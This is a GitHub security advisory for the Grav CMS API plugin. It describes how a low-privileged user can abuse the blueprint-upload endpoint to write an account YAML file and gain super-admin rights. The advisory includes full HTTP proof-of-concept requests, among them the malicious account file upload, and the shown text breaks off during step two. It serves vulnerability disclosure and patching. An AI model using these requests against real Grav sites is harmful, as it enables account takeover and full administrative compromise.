GitHub Security Advisory: GHSA-6xx2-m8wv-756h
Package: getgrav/grav (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-269: Improper Privilege Management, CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: < 2.0.0-beta.4
Patched in: 2.0.0-beta.4

Summary: Low-privileged Grav API users can create super-admin accounts via blueprint-upload

Details:
## Summary

In Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges.

This results in full administrative compromise of the Grav API.

## Details

The vulnerability is located in the API plugin's blueprint upload flow:

- `user/plugins/api/classes/Api/ApiRouter.php:261`
- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45`
- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114`
- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308`
- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417`
- `user/plugins/api/classes/Api/Controllers/AuthController.php:41-55`

The issue exists because `/api/v1/blueprint-upload` accepts caller-controlled `destination` and `scope` values and uses them to resolve the final filesystem write target.

When the request uses:

- `destination=self@:`
- `scope=users/anything`

The server resolves the write target to the shared account directory:

```text
user/accounts/
```

The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext `password:` field on first login, an attacker can create a fully functional administrator account with `api.super`.

The required attacker privilege is low:

```yaml
access:
  api:
    access: true
    media:
      write: true
```

## PoC

### Step 1: Authenticate as the low-privileged API user

```http
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"uploader","password":"Upload123A"}
```

Extract:

```text
UPLOADER_TOKEN = <access_token from response>
```

Attachment:

<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />

### Step 2: Upload a malicious account YAML file

```http
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close

------CodexBoundaryF01
Content-Disposition: form-data; name="destination"

self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"

users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml

email: attacker@example.com
fullname: attacker
title: Site Administrator
state: enabled
[CREDENTIAL_REDACTED]
access:
  site:
    login: true
  api:
    super: true
------CodexBoundaryF01--
```

Expected result:

```json
{
  "data": [
    {
      "name": "pwned.yaml",
      "path": "user/accounts/pwned.yaml"
    }
  ]
}
```

Attachment:

<img width="1484" height="797" alt="upload" src="https://github.com/us